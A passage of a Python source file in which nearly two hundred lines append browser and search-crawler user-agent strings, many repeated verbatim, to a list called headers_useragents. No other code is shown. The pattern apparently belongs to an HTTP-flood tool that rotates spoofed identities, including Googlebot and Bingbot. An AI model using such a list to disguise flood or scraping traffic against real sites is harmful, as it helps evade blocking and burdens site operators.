  1201.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1202.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1203.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1204.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1205.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1206.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1207.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1208.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1209.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1210.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1211.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1212.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1213.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1214.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1215.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1216.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1217.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1218.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1219.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1220.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1221.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1222.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1223.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1224.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1225.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1226.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1227.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1228.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1229.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1230.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1231.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1232.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1233.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1234.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1235.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1236.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1237.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1238.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1239.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1240.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1241.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1242.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1243.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1244.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1245.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1246.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1247.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1248.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1249.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1250.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1251.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1252.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1253.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1254.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1255.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1256.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1257.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1258.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1259.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1260.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1261.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1262.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1263.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1264.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1265.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1266.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1267.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1268.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1269.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1270.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1271.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1272.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1273.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1274.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1275.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1276.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1277.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1278.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1279.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1280.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1281.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1282.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1283.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1284.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1285.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1286.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1287.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1288.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1289.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1290.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1291.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1292.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1293.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1294.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1295.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1296.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1297.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1298.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1299.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1300.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1301.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1302.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1303.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1304.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1305.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1306.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1307.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1308.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1309.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1310.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1311.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1312.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1313.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1314.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1315.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1316.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1317.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1318.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1319.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1320.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1321.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1322.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1323.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1324.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1325.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1326.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1327.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1328.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1329.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1330.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1331.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1332.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1333.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1334.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1335.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1336.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1337.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1338.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1339.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1340.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1341.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1342.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1343.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1344.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1345.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1346.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1347.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1348.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1349.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1350.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1351.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1352.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1353.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1354.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1355.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1356.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1357.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1358.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1359.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1360.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1361.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1362.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1363.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1364.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1365.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1366.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1367.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1368.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1369.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1370.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1371.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1372.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1373.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1374.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1375.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1376.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1377.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1378.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1379.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1380.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1381.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1382.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1383.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1384.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1385.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1386.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1387.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1388.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1389.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1390.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1391.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1392.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1393.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1394.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1395.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
